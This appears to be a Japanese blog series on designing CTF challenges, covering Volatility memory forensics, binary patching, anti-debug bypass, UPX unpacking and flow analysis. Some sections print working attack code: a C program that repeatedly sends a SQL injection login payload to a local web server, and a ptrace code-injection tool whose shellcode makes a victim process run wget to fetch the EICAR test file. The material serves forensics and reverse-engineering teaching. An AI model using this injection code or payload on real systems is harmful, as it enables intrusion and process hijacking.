Memory Forensics2 for CTF

 Volatilityを用いたメモリフォレンジック検証第二弾。
 前回はWindows10(Build19042)を用いたメモリ解析を実施したが、解析上、以下の問題があった。

・特定の宛先への通信を行うプログラムを実行した状態でメモリダンプを実施したものの、Volatilityのnetscanコマンドで該当通信を発生させているプロセスIDの表示が「-1」になる
・yarascanで宛先アドレスを検索キーワードに指定して検索すると該当の文字列が含まれるプロセスが列挙されるものの、複数列挙されるためどれが元のプログラムかわからない

 プロセスID表示が「-1」になる問題はいろいろなホームページでも報告されている。原因は特定できていないが、考えられるのは分析用のプロファイルがWin10の場合、Build19041までしか用意されていないのが1つと考える。そのため解析プロファイルが用意されているWindows Server 2016(Build 14393)で同様の検証を実施したところ、プロセスIDが正しく表示されることを確認した。
 
 CTFの問題としてはプロセスIDが正しく表示されるメモリイメージを用いて以下の設問を用意する。

■問題の背景
 ある外部の組織からA社のIPアドレスから攻撃を受けているとの連絡があった。A社の情報セキュリティ担当者であるあなたは、攻撃元と思われる送信元IPアドレスの情報を入手し、FWのログから内部のサーバ(Windows Server 2016)からの通信であることを突き止めた。あなたはサーバのメモリダンプを取得したあと、サーバをNWから切断した。

■問題1
 取得したメモリダンプからIPアドレスA.B.C.Dへの通信を行ったプロセス名を答えよ。分析にはVolatilityを用いることができる。なお、Volatilityで分析を行う際のプロファイルは「Win2016x64_14393」を用いること。
 コマンド例)python vol.py -f ./dump.mem –profile=Win2016x64_14393 netscan

■問題2
 攻撃を行ったプロセスをdumpしてどのような攻撃を行ったか答えよ。

分析用のWindows Server 2016(Build 14393)

攻撃用プログラムを実行、RamCaptureでメモリダンプ実施。

Volatilityのnetscanによる解析

netscan解析の続き。該当の宛先への通信を行っているプロセスID(3560)とプロセス名(b.exe)が判別できる。

該当のプロセスを以下コマンドでダンプする。
python vol.py -f ./dump.mem –profile=Win2016x64_14393 procdump -p 3560 -D .

ダンプしたファイルをstringsコマンドで解析実施

POSTメソッドで通信を行っていることがわかる。

さらにIDAで解析を実施するとlogin.phpに対してPOSTメソッドでuser_idパラメータに対しSQLインジェクションを実施していることがわかる。

 Volatilityを用いた解析により、問題1の回答は「b.exe」、問題2の回答は「SQLインジェクション」であることがわかる。

 サンプルマルウェアプログラムのソースコードは以下となる。
 ※1回のWebサイトへの接続だけではメモリダンプ中にセッションが切れてしまうので、keep-alive要求しながら複数回のSQLインジェクションを同一セッションで行うようにしている。
(コンパイル:gcc a.c -lws2_32)

#include<stdio.h>
#include <windows.h>
#include<winsock2.h>

#pragma comment(lib,"ws2_32.lib") //Winsock Library

int main(int argc , char *argv[])
{
	WSADATA wsa;
	SOCKET s;
	struct sockaddr_in server;
	char *message , server_reply[2000];
	int recv_size;
	int i=0;

	printf("\nInitialising Winsock...");
	if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
	{
		printf("Failed. Error Code : %d",WSAGetLastError());
		return 1;
	}
	
	printf("Initialised.\n");
	
	//Create a socket
	if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
	{
		printf("Could not create socket : %d" , WSAGetLastError());
	}

	printf("Socket created.\n");
	
	
	server.sin_addr.s_addr = inet_addr("192.168.1.1");
	server.sin_family = AF_INET;
	server.sin_port = htons( 80 );

	//Connect to remote server
	if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0)
	{
		puts("connect error");
		return 1;
	}
	
	puts("Connected");


	while(i < 30){
		//Send some data
		message = "POST /login.php HTTP/1.1\r\nHost: 192.168.1.1\r\nConnection: keep-alive\r\nContent-Length: 49\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nuser_id=1%27+or+%271%27+%3D+%271%27%3B--+&passwd=";
		if( send(s , message , strlen(message) , 0) < 0)
		{
			puts("Send failed");
			return 1;
		}
		puts("Data Send\n");
		Sleep(3500);

		//Receive a reply from the server
		if((recv_size = recv(s , server_reply , 2000 , 0)) == SOCKET_ERROR)
		{
			puts("recv failed");
		}
	
		puts("Reply received\n");

		//Add a NULL terminating character to make it a proper string before printing
		server_reply[recv_size] = '\0';

		puts(server_reply);

		i++;
	}

	return 0;
}

Ransomware for CTF

ランサムウェアに感染したことを想定したCTF問題を考える。

■問題
 ランサムウェアに感染し、重要なファイル「secret.dat」が暗号化されてしまった。復号するには正しいパスワードを入力する必要がある。ランサムウェアプログラムを解析し「secret.dat」を復号せよ。復号されると「secret.dat」にFlagが保存される。
 ※ransamware.outとsecret.datが用意されている。

■解き方
 ransomware.outを実行するとパスワードを求められる。正しいパスワードを入力すると 「secret.dat」 は復号されるが、当然パスワードはわからない。そこで、gdbで解析を行いパスワードを比較する部分を見つける。比較結果が格納されるレジスタの値を変更することでパスワードがわからなくとも復号処理に進めることができる。Binary for Linuxと同じ解き方である。

secret.datの中身を見ると暗号化されていることがわかる。ransomware.outを実行すると入力を求められるが、正しくないと復号化されない。

gdbで解析を行う。disas mainコマンドでmain関数内の処理を確認する。

strcmp関数が入力した文字を比較している関数であると目星をつける。strcmp関数の比較結果はeaxレジスタに格納される。比較結果が等しい場合は0に、等しくない場合は0以外がeaxレジスタに格納され、そのあとのtest演算でraxが0かどうかを確認している。このtest演算直前にBreakポイントを設定する。
※一度、gdbでrunを実行しないと、Breakポイントの設定ができなかった。

runコマンドでプログラムを実行する。Inputには適当な文字を入力する。その後、Breakポイントで停止するので、その時点のeaxレジスタの値を確認する。当然、比較結果は正しくないので0以外が設定されている。このままでは比較NGとなるのでeaxレジスタを0にSetし、Continueコマンドでプログラムを再開する。その結果、復号化が成功する。

secret.datを確認すると復号化されてFlagが表示される。



ソースコード(gcc ransomware.c -o ransomware.out -lcrypt)

#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(){

    char input[50];
    char output[50];
    int i=0;

    FILE *fp;
    char ch[80];
    char temp;
    int j;

    printf("input:");
    scanf("%s", input);

    /* password is "1234pass" */

    if(strcmp( crypt(input,"$1$seed"),"$1$seed$9Pv9DYRW3TuJN8QETcvoE1")==0){
       
        fp = fopen("secret.dat","rb+");
        while(!feof(fp)) {
         temp = fgetc(fp);
         if(!feof(fp)) 
          ch[i] = temp ^ '1';
         i++;
        }

        rewind(fp);
        j = i - 1;

        for (i = 0; i < j; i++)
        fputc(ch[i], fp);

        fclose(fp);

        printf("Congraturation! File is decrypted!\n");
    }
    else
        printf("Not Correct.\n");

    return 0;
}

DoS Attack analyzing for CTF

■問題の背景
 あるA社において、社内からインターネットへの接続がときどき出来なくなる、という申告があった。担当者がインターネットとのゲートウェイであるUTMのログを確認すると以下のことが分かった。

 ・申告のあった時間における攻撃ログはなかった。
 ・メモリが急上昇している時間帯があり、社内の接続ができない時間帯と一致した。
 ・セッション数も同じく急上昇していることがわかった。

 これらログの状況から、外部もしくは内部から大量の通信が発生していると考えた担当者は送信元を確認するため、UTMのインターネット側でパケットキャプチャを実施した。ただし、キャプチャしたパケットデータが大量にあるため、WireSharkなどの解析ソフトでは分析することができない。そこで、パケットキャプチャデータをFlow形式に変換し分析することにした。

■問題
 Flow解析ツールであるnfdumpコマンドを用いて大量の通信を行っているIPアドレスを答えよ。 
 ※Flowデータファイル名は〇〇である。

■解き方
 nfdumpコマンドはsrcip,dstip毎に通信量のTopNを表示することができる。その際にFlowsというセッション数を意味するカテゴリも確認することができるため、このFlowsが多い送信元を特定する。
 コマンド例:nfdump -r Flowデータファイル -n 10 -s srcip/bytes

例:Flowsに着目すると「89.X.X.X」からの通信が20秒弱で41万セッションもあり、異常な通信であるといえる

Code Injection for CTF

 マルウェアの中には正常なプロセスに任意のCodeを注入して感染活動を行うものがある。このようなマルウェアに感染した場合、コードを注入されたプロセスの実行中のみ活動を行うため、静的なフォレンジックなどで該当のプロセスを分析しても痕跡は見つからない。発見する一つの方法としては以下のアプローチが考えられる。

 1.マルウェアが正常なプログラムをコピーして実行
 2.実行したプロセスに外部のC&Cサーバと通信するコードを注入
 3.コードを注入されたプロセスが外部との通信を開始
 4.通信を行っているタイミングでメモリダンプが取得できたと仮定
 5.Volatilityなどを用いてC&Cサーバと通信をしていたプロセスおよびその親プロセスを特定

4が取得できるか実際には難しい部分はあるものの、これらを想定した環境を構築、実験を行う。

■検証内容
「Hello」を表示し続ける正常なプログラム target.cと、指定したプロセスにインターネットからテストウィルスをダウンロードさせるコードを注入するプログラム code-injection.cを用意する。

■インジェクションコードの準備
 今回はwgetを用いてテストウィルスであるeicarをダウンロードさせる。このコマンドをexecveシステムコールで実行するには以下の準備が必要となる。
・raxレジスタに「sys_execve」を示す「59」をセットする。
・rdiレジスタには第一引数である「/usr/bin/wget\0」をセットする。
・rsiレジスタには第二引数としてファイル名とその引数である「/usr/bin/wget\0,www.eicar.org/download/eicar.com.txt\0,NULL」をセットする。
・rdxレジスタには環境ポインタとして「NULL」をセットする。

まずは、rdiレジスタとrsiレジスタにセットする文字列を16進に変換する。

echoコマンド+odコマンドで「/usr/bin/wget」を16進数に変換する。ただ、このまま変換すると「00」が並びNULLと認識されるためスラッシュを3つ増やした「/usr////bin/wget」として変換する。

「www.eicar.org/download/eicar.com.txt」も同じく変換する。
※同じ理由でスラッシュを4つ増やしている。

wgetを execveシステムコールで呼び出すアセンブラコードを組み立てる。

nasmコマンドとldコマンドでアセンブラコードを実行形式にする。また、作成した実行ファイルをobjdumpコマンドで16進数に変換し、注入用のコードを作成する。

以下、指定したプロセスにwgetでeicarファイルをダウンロードさせるCode-Injectionプログラム例を示す。このプログラムはptrace関数を用いて指定したプロセスにAttachし、コードを注入するプログラムである。注入するタイミングは対象のプロセスの状態が変化したときに、その時点のプログラム実行アドレスであるripが示すアドレスの次のアドレスに用意したコードを注入する仕掛けとなっている。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>

char *shellcode ="\x48\x31\xd2\x52\x48\xbb\x62\x69\x6e\x2f\x77\x67\x65\x74\x53\x48\xbb\x2f\x75\x73\x72\x2f\x2f\x2f\x2f\x53\x48\x89\xe7\x52\x48\xbb\x2e\x63\x6f\x6d\x2e\x74\x78\x74\x53\x48\xbb\x2f\x2f\x2f\x65\x69\x63\x61\x72\x53\x48\xbb\x77\x6e\x6c\x6f\x61\x64\x2f\x2f\x53\x48\xbb\x72\x2e\x6f\x72\x67\x2f\x64\x6f\x53\x48\xbb\x77\x77\x77\x2e\x65\x69\x63\x61\x53\x48\x89\xe6\x52\x56\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05";


int main(int argc, char **argv){

	int i;
	int pid;
	int size;
	char *buff;
	struct user_regs_struct reg;


	pid = atoi(argv[1]);
	size = strlen(shellcode);
	buff = (char *)malloc(size);
	printf("size = %d\n",size);

	memset(buff,0x0,size);

	memcpy(buff,shellcode,size);

	ptrace(PTRACE_ATTACH, pid, 0, 0);

	wait((int*)0);

	ptrace(PTRACE_GETREGS, pid, 0, &reg);
	printf("Writing a shellcode into process %d\n", pid);

	for (i=0; i<size; i++){
		ptrace(PTRACE_POKETEXT, pid, reg.rip+i, *(int *)(buff + i));
	}

	ptrace(PTRACE_DETACH, pid, 0, 0);
	free(buff);
}

また、次に示すのはCodeをInjectionされる側のサンプルプログラムである。
「Hello World」を3秒ごとに表示するプログラムである。sleepに入るとプロセス状態が変化したことが攻撃側に通知され、Code Injectionが行われる。そしてSleepから戻った時に任意のCodeが実行されてしまう。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(){
	int counter = 0;

	while(1){
		printf("%d : Hello world\n", counter);
		counter++;
		sleep(3);
	}
}

右が攻撃を受ける側のプログラム、左が攻撃側プログラムである。右の画面を見ると、途中まで「Hello world」と表示されていたが、Code Injectionが行われるとwgetコマンドによりEicarウィルスがダウンロードされたことがわかる。

■まとめ
Code Injectionにより任意のコードをAttachが許可されているプロセスに注入することができた。CTFの問題としては冒頭に記載したシナリオとして外部と通信を行ったプロセスの特定から、そのプロセスを実行した親プロセスとして攻撃側プログラムを特定する、という問題が考えられる。そして特定した後に、どのようなコードを注入しようとしたかを問う問題も考えられるが、その場合デコンパイルツールをいかに活用できるかがポイントになると考える。

Memory Forensics for CTF

CTF用のメモリーフォレンジック問題を考える。
メモリーフォレンジックが必要になるシーンとしては以下がある。

1.組織のUTMが内部から外部へのマルウェアからの通信を検知する。
 例)ブラックリストとして登録されたC&Cサーバへのhttps通信を検知

2.UTMのログをもとに通信元のPCを調査する。
 例)おそらくはProxy経由でのHTTPS通信が対象となるためProxyログからマルウェアに感染したと思われるPCを見つける。

3.マルウェアに感染したと思われるPCのメモリダンプを取得する。

4.メモリ解析ツール(Volatilityなど)で不正な通信を行ったプロセスの特定、マルウェア実行プロセスのダンプを実施する。

5.取得したマルウェアをIDA-ProやGhidraなどの解析ツールを用いてどのような挙動をするかの解析を行う。

今回は上記4のVolatilityを用いてメモリ解析を問うCTF問題を作成する。

■Volatilityインストール
OS:Ubuntu

git,python,curlインストール
 sudo apt install git
 sudo apt install python
 sudo apt install curl

GitHubからVolatilityをクローンする.
 git clone https://github.com/volatilityfoundation/volatility.git

もろもろ
 cd volatility
 sudo python setup.py build install
 curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py
 python get-pip.py
 export PATH=”$PATH:/home//.local/bin”
 sudo apt install gcc python2.7-dev
 pip install pycrypto
 pip install distorm3==3.4.4

■メモリダンプの準備
・Win10をVirtualBox上で用意(メモリ2G)
・RamCaptureでメモリダンプ取得

■Volatilityによる解析

■解析プロファイルの決定
ダンプしたメモリイメージを解析するためのプロファイルを以下コマンドで確認する。

python vol.py -f memory.file imageinfo

実行結果が「Suggested Profile(s)」で示される。以降、各コマンドを実行するときは解析用のプロファイルを指定する必要がある。
※今回はWin10x64_19041プロファイルを用いる。

■実行されていたプロセス一覧の確認
pslistオプションで起動していたプロセス一覧を取得する。

python vol.py -f memory.file –profile=Win10x64_19041 pslist

■通信一覧の確認とプロセスの抽出
netscanオプションで通信一覧とその通信を行っていたプロセス情報を取得することができる。

python vol.py -f memory.file –profile=Win10x64_19041 netscan

■不審な通信を行っているプロセスIDを特定し、そのプロセスを抽出する
python vol.py -f memory.file –profile=Win10x64_19041 procdump -p malware-pid -D dumpdirectory

おまけ
printkey オプションでレジストリ情報も見ることができる。

CTF用の問題を作成するには以下が必要となる。

・特定のファイルのデータを読み取り、特定のサイト(A.B.C.D)への通信を行うプログラムの準備
・上記プログラムをWin10上で実行している状態のメモリダンプの取得

CTFの問題としては以下が考えられる。
・あるサイト(A.B.C.D)に通信していたプロセスIDを答えよ
・そのプロセスが持ち出そうとしたデータ(ファイル名)を答えよ

■検証1
Win10環境で外部とHTTP通信するPowerShellスクリプトを実行してメモリイメージを取得。Volatilityで解析をした。その際にnetscanオプションで該当の通信をしているpidを確認したところ「-1」となり、正確なpidがわからなかった。そのためyarascanオプションを用いて該当のアドレスの情報を持つプロセスを検索した。

・yaraのインストール
  pip install yara-python

・yaraを用いたVolatility検索実行
  python vol.py -f 20210319.mem –profile=Win10x64_19041 yarascan -Y “www.google.co.jp”

★yarascanを用いることでキーワードを含むプロセスの特定が可能になる。

■検証2
 検証1ではPowerShellを用いて特定のサイトに接続するプログラムをVolatilityで抽出できるかの検証を行った。検証2では同じ内容のプログラムをexe化したものを同じく追跡できるかどうか、また抽出したプロセスをデバッグ可能かを確認する。

172.217.31.131:80へ通信する「a.exe」を実行中のイメージを取得し、volatilityのnetscanコマンドを実行した結果である。
python vol.py -f memory.file –profile=Win10x64_19041 netscan

通信としては確認できるがプロセスIDが検証1と同じく「-1」となっている。

yarascanオプションで「172.217.31.131」の文字を含むプロセスを確認する。

python vol.py -f memory.img –profile=Win10x64_19041 yarascan -Y “172.217.31.131”

文字列を含むプロセスが複数現れる。PID5592に注目する。
※このプロセスID以外、pslistでは出てこなかった。

volatilityのpslistコマンドを確認するPID5592のプロセスが「a.exe」であることがわかる。

procdumpコマンドでPID5592をexeファイルとしてdumpする。

dumpしたファイルはUbuntu上のgdbやobjdumpでは解析ができなかった。Windows上でMinGWをインストールした環境でgdbで解析するとinfo functions、disas mainは成功しなかった。しかし、runは成功した。Windows上のobjdumpを実行すると「file truncated」と出て成功しなかった。おそらく、Volatilityのprocdumpコマンドでは解析可能な形でのDumpができなかったと考える。(IIJさんのサイトにページングファイルを使用しているときなどうまく取れない、などの記事があった https://www.iij.ad.jp/dev/report/iir/046/02.html)

したがって、CTFの問題としては不正な通信先のアドレス情報から「クライアントPC上でその通信を実行していたPIDおよび実行ファイル名は何か」という問題がよいと考える。

■使用したPowerShell

param( [string] $remoteHost = "www.google.co.jp", [int] $port = 80 )   

try
{
	Write-Host "Connecting to $remoteHost on port $port ... " -NoNewLine
	try
	{
		$socket = New-Object System.Net.Sockets.TcpClient( $remoteHost, $port )
		Write-Host -ForegroundColor Green "OK"
	}
	catch
	{
		Write-Host -ForegroundColor Red "failed"
		exit -1
	}

	$stream = $socket.GetStream( )
	$writer = New-Object System.IO.StreamWriter( $stream )
	$buffer = New-Object System.Byte[] 1024
	$encoding = New-Object System.Text.AsciiEncoding

	while( $true )
	{
		start-sleep -m 500
		while( $stream.DataAvailable )
		{
			$read = $stream.Read( $buffer, 0, 1024 )
			Write-Host -n ($encoding.GetString( $buffer, 0, $read ))
		}
		$command = Read-Host
		$writer.WriteLine( $command )
		$writer.Flush( )
	}
}
finally
{
	if( $writer ) {	$writer.Close( )	}
	if( $stream ) {	$stream.Close( )	}
} 
■使用したexeのソース(コンパイル:gcc a.c -lws2_32)

#include<stdio.h>
#include <windows.h>
#include<winsock2.h>

#pragma comment(lib,"ws2_32.lib") //Winsock Library

int main(int argc , char *argv[])
{
	WSADATA wsa;
	SOCKET s;
	struct sockaddr_in server;
	char *message , server_reply[2000];
	int recv_size;

	printf("\nInitialising Winsock...");
	if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
	{
		printf("Failed. Error Code : %d",WSAGetLastError());
		return 1;
	}
	
	printf("Initialised.\n");
	
	//Create a socket
	if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
	{
		printf("Could not create socket : %d" , WSAGetLastError());
	}

	printf("Socket created.\n");
	
	
	server.sin_addr.s_addr = inet_addr("172.217.31.131");
	server.sin_family = AF_INET;
	server.sin_port = htons( 80 );

	//Connect to remote server
	if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0)
	{
		puts("connect error");
		return 1;
	}
	
	puts("Connected");
	
	//Send some data
	message = "GET / HTTP/1.1\r\n\r\n";
	if( send(s , message , strlen(message) , 0) < 0)
	{
		puts("Send failed");
		return 1;
	}
	puts("Data Send\n");

	Sleep(30000);
	
	//Receive a reply from the server
	if((recv_size = recv(s , server_reply , 2000 , 0)) == SOCKET_ERROR)
	{
		puts("recv failed");
	}
	
	puts("Reply received\n");

	//Add a NULL terminating character to make it a proper string before printing
	server_reply[recv_size] = '\0';

	puts(server_reply);

	return 0;
}

Binary(Linux)3 for CTF

 今回はパック化された実行ファイルの解析問題を作成する。
 マルウェアはパックファイル形式で配布されることがある。パックファイルとは実行コードを圧縮したものである。パックファイルを実行すると、解凍プログラムにより圧縮されたコードが解凍され、本来の実行プログラムが起動する。そのため、パックファイルをgdbやobjdumpなどの解析ツールで静的解析する場合、解凍が行われていない状態のためプログラムのコードは不明のままである。したがって、実行されるコードを解析するにはパックファイルをアンパックする必要がある。
 今回のBinary問題はパックファイル作成ツールであるUPXを用いて、解答者に以下を問う問題とする。

・パックファイルであることに気付けるか?
 ※gdbやobjdumpで解析をしても実態がわからないことをヒントにUPXファイルであることに気付けるか(Stringsコマンドとの組み合わせでUPXを使ったパックファイルであることがわかるか)
・パックファイルであることに気付いてアンパックできるか?
 ※これは「upx -d」で簡単にできる。
・アンパックされたプログラムコードの解析ができるか?

upxのインストール
# yum install upx

upxコマンドで実行ファイルをパック
# upx bin4v2.out -o bin4upx.out

パックされた実行ファイルをgdbで解析する。「info functions」を入力しても何も表示されないことがわかる。

次に、objdumpでdisassembleをかけるが何も表示されないことがわかる。

upx -d でアンパックする。
# upx -d bin4upx.out -o bin4upx-d.out

アンパックされた実行ファイルをgdbで解析する。「info functions」を入力すると多くの関数を確認することができる(Static Linkしているためかなり多い)。

objdumpでdisassembleをかけると、解析が可能になりアセンブリ表示されることがわかる。

解析対象の実行ファイルがパックされているかどうかを確認する方法として「strings」コマンドを用いる方法がある。左図ではUPXという文字が見えることがヒントになる。

★UPXコマンドを使うときの注意
・対象のプログラムサイズが40kバイト以下の場合、パックしてくれない。
・そこで、実行ファイルサイズを大きくするため、gccでコンパイルするときに「-static」オプションでLibraryをStaticLinkしようとしたがエラーとなる。
・原因はgccのライブラリはデフォルトではStaticLibraryがないため「glibc-static」をインストールする必要がある。
・しかし、yumやdnfで「glibc-static」が見つからず、インストールできない。
・原因は上記ライブラリをダウンロードするには「PowerToolsレポジトリ」を有効にする必要がある。
 ファイル名:/etc/yum.repos.d/CentOS-Stream-PowerTools.repo
 変更する場所:enable=1
・上記レポジトリを有効化した後、「glibc-static」がインストール可能になる。
  dnf install glibc-static
・gccのstaticオプションが有効になり、Static-Linkが成功し、ファイルサイズの大きな実行ファイルができる。
  gcc -static -o bin4v2.out bin4.c -lcrypt
・UPXでパックできるようになる。
  upx bin4v2.out -o bin4upx.out
・「-d」オプションでアンパックもできる。
  upx -d bin4upx.out -o bin4upx-d.out

Binary(Linux)2 for CTF

 CTF用のBinary問題として「デバッグ環境を検知するプログラム」を作成する。マルウェアによってはこのようにデバック環境を検知した場合にプログラムの挙動を変えるものがあるため、そのようなマルウェアをどのように解析するかを問う問題とする。

■プログラムの流れ
1.入力を求めるプロンプトを表示
2.答えが合わないとNot Correctと表示
3.正しい答えの場合でも、プログラムがTrace(デバッグ環境にある)されていることを
  検知した場合エラーを返す

■プログラムソースコード

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>

int main(){

    char input[50];
    char output[50];
    int i=0;

    printf("input:");
    scanf("%s", input);

    /* password is "1234pass" */

    if(strcmp( crypt(input,"$1$seed"),"$1$seed$9Pv9DYRW3TuJN8QETcvoE1")==0){
       if(ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) {
           printf("Sorry..because inside gdb..\n");
           return 1;
       }
        strncpy(output, crypt("CTF","$1$seed")+9,4);
        printf("Flag is %s\n", output);
    }
    else
        printf("Not Correct.\n");

    return 0;
}

■プログラム解析方法
 gdbを用いて解析する場合、正しい入力を何らかの方法(例えばstrcmp関数に渡す引数を書き換える)で得たとしても、gdb上で実行している場合は、その次に待ち受けるptrace関数によりgdbでのデバッグ環境であることを検知され「Sorry..because inside gdb..」と表示されFlagを得ることができない。
 Flagを得るには正しい入力のルートに導いたあと、ptrace関数の結果を無効にする操作が必要になる。具体的には以下の操作をgdbで行う。
・ptrace関数をBreakポイントに設定
・finishコマンドでptrace関数を抜けた状態でStopする
・この時点でptace関数の結果がraxレジスタに格納されている。
 ※gdb環境だとその値は「-1」である。
・次の命令はcmp命令でraxレジスタの値が「-1」かどうか比較されるため、その前に
 raxレジスタをデバック状態ではない「0」にする。(「set $rax=0」を実行する。)
・Continueで正しいFlagを得ることができる。

gdb上でプログラムを実行した画面。正しい入力でもFlagは表示されない。

gdbのdisasコマンドでmain関数のアセンブラを確認すると「ptrace関数」の結果が格納される「raxレジスタ」の値がcmp命令で比較されていることがわかる。

再びgdbでBreakポイントをptrace関数にセットし、その結果がraxレジスタに格納された後に「set $rax=0」で結果を書き換え、実行を継続すると正しいFlagを得ることができる。

Binary(Linux) for CTF

Linux上でのBinaryプログラム解析方法を記す。

<問題1>  
 以下のファイルの種類を答えよ(拡張子が正解とする)  
 ※googlelogoという拡張子がないファイル

<答え1>  
 fileコマンドを用いて対象ファイル種別を判別する。

「PNG image data」という結果から回答はPNGとなる。

<問題2>
実行プログラム「bin1.out」を解析してフラグを取得せよ

<環境準備&答え2>
「bin1.out」を実行すると入力を求めるプロンプトが現れる。答えが合うとフラグが表示されるであろうことを推測させる。ヒントがないかstringsコマンドを実行することで、答えとなるパスワードおよびフラグそのものを発見することができる。

■プログラムのソースコード(bin1.c)
#include <stdio.h>
#include <string.h>

int main(){
char input[50];
char pass[50] = "pass1234";
char flag[50] = "FLAG is {CTF_binary}";
printf("input:");
scanf("%s", input);

if(strcmp(input,pass)==0){
printf("%s\n", flag); }
else
printf("Not Correct.\n");

return 0;
}

1.プログラムのコンパイル
 gcc bin1.c -o bin1.out

2.プログラムの実行画面

stringsコマンドで文字列を抽出するとパスワードらしきものとフラグが表示される。

「pass1234」や「FLAG is {CTF_binary}」という文字があることがわかる。
プログラムを実行してInputを求められたときに「pass1234」と入力するとフラグである「FLAG is {CTF_binary}」という文字列が表示される。
 このようにstringsコマンドを活用することでBinary解析プログラムを用いなくともフラグにたどり着くことができる。

<問題3>
 実行プログラム「bin2.out」を解析してフラグを取得せよ

<環境準備&答え3>
 「bin2.out」はプログラムコードを難読化しており、その結果、stringsコマンドでフラグを取得するための文字列を取得できないようにしている。そのため、プログラム本体を解析、変更してフラグが表示されるようにする。

■プログラムのソースコード(bin2.c)
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(){  
 char input[50];  
 char flag[] = { ~'C', ~'T', ~'F', ~'b',~'i',~'n', '\0' };  
 int i=0;  
 printf("input:");  
 scanf("%s", input);  

 /* password 1234pass */  
 if(strcmp( crypt(input,"$1$seed"),"$1$seed$9Pv9DYRW3TuJN8QETcvoE1")==0){
  for (int i = 0; i < 6; i++) flag[i] = ~flag[i];
  printf("Flag is %s\n", flag); }  
  else
    printf("Not Correct.\n"); return 0;
}

1.プログラムのコンパイル
 gcc bin2.c -o bin2.out -lcrypt

2.プログラムの実行画面

 CTFの回答者はこのプログラムが正しいパスワードを入力しないとFlagが表示されないことを認識する。問題2のようにstringsコマンドで文字列を表示させても難読化されているためFlagを得るためのパスワードは判明しない。そのためプログラム解析ツールを用いることになる。分析方法を以下に記す。

3.gdbでの解析方法
  gdb ./bin2.out
  break main
  run
  layout asm
  nexti
  上記コマンドを実行し、プログラムの流れを見る。
  nextiを実行していき、inputというコマンドが出たあとに
  cryptやstrcmpが実行されjne命令が実行されることを確認する。

break mainコマンドでブレイクポイントをmain関数の先頭に設定。layout asmコマンドでアセンブラ命令も表示させる。
nextiコマンドでマシン命令を実行していく。

nextiコマンドでマシン命令を実行していくとprintf関数による「input:」と表示される命令があり、そのあとにscanf関数が呼び出され入力を求められる。

ここで適当な文字を入れてさらにnextiコマンドを実行していくとcrypt関数、strcmp関数が呼び出された後、「jne」命令が現れる。これはzeroflagと呼ばれるフラグレジスタがTrueでなければmainから180番地までJumpするという命令になる。このときのzeroflagの状態を「print $eflags」コマンドで確認するとzeroflagであるZFフラグがないことがわかる。

さらに命令を進めていくとmainから180番地にJumpして「Not Correct」という表示でプログラムが終了する。

このプログラムの流れは以下であることがgdbによる解析から推測される。
・Input表示後にscanf関数で文字を読み取る。
・取得した文字をcrypt関数でhash化してパスワードとマッチするかstrcmp関数で比較する。マッチしていた場合はzeroflagがセットされる。
・マッチしていない場合はJne命令によりJumpして「Not Correct」と表示される。

正しい答えを得るためにはJne命令が実行する前にzeroflagをgdbのコマンドを使用してTrueにすることで正しい答えを得ることができると推測する。

main+112にあるjne命令を実行する前に「set $eflags |=(1<<6)」コマンドでzeroflagをセットする。「print $eflags」で確認するとZFフラグがセットされたことがわかる。この状況で「nexti」コマンドで命令を実行すると、zeroflagがTrueであるためmain+180アドレスにJumpせずに次の命令(0x400778)が実行されることがわかる。

そのままnextiコマンドを実行していくとFlagが表示される。

3.objdumpでの解析とhexeditでの書き換え
 gdbによる解析ではjnz命令が実行される前のZFフラグを書き換えることでFlagを得た。ほかの方法としてはjne命令自体を無効化する方法がある。これはobjdumpとhexeditコマンドで書き換えを行うことができる。
 まず、無効化したい該当のjnzのマシン語をobjdumpコマンド「objdump -d bin2.out」で確認する。すると「7542」であることがわかる。

次にhexeditでjne命令である「7542」を検索コマンド「/」で検索する。

該当部分をNOP命令である「9090」に置き換え、「Ctrl+X」で保存して終了する。

保存したbin2.outプログラムを実行すると、どんな文字を入れてもFlagが表示されるようになったことがわかる。

■他の解析方法
 Flagを得るための方法として
 ・Jne命令直前にeflagsを書き換えて比較結果を正しくする方法
 ・Jnz命令そのものを無効化する方法
 について記載した。
 他の方法としては
 ・Ghidraなどのツールを使いデコンパイルしてFlagを得る方法
 ・strcmp関数が呼ばれる前の引数そのものを一致させてしまう方法
 などがある。

Binary for CTF

■CTF用のBinary問題を考える。
 問題の構成
 ・実行すると入力を促すプロンプトが現れる。
 ・正しい入力の場合はFlagが表示される。
 ・正しくない場合はNot Correctと表示されて終了。

■Flagを得る方法
 1.Binary解析ツール(IDA-Free)を用いて入力項目が比較されている箇所を見つける。
 2.比較した結果に応じて変わる処理部分をBinaryエディタを用いて無効化しどの入力をいれてもFlagが表示されるようにする。

■解析方法詳細
 IDAのFree版をインストールしbin.exeを解析する。

IDA Free版でbin.exeを解析

・黄色い部分(jnzと表示)が入力文字比較の結果によって命令を分ける部分である。
・2つ上の「_strcmp」の結果が等しい場合はeaxレジスタにゼロが入る。
・次の「test」命令でeaxレジスタがゼロかどうかを計算し、ゼロの場合はZFフラグが1にセットされる。
・「jnz」命令はゼロではない場合(ZF=0)に401535にJumpする。

 上記から、jnz命令の部分を無効にすることができれば、どの入力であってもFlagを表示する処理に移行できることがわかる。 このjnz命令をHex Viewでみると、下の「750E」部分が該当する命令部分となる
※詳細
 0x75がjnz命令、0E先である401535にshortjumpする。 この部分を何も処理しないNOP命令である「9090」に置き換えるると、図の分岐は左となり、Flagが表示される。

 IDA-Free版ではBinaryデータを編集できないため、FreeのBinaryエディタである「Stirling」で編集する。

 Jnz命令である「750E」部分を「9090」に置き換えてbin-after.exeとして保存する。

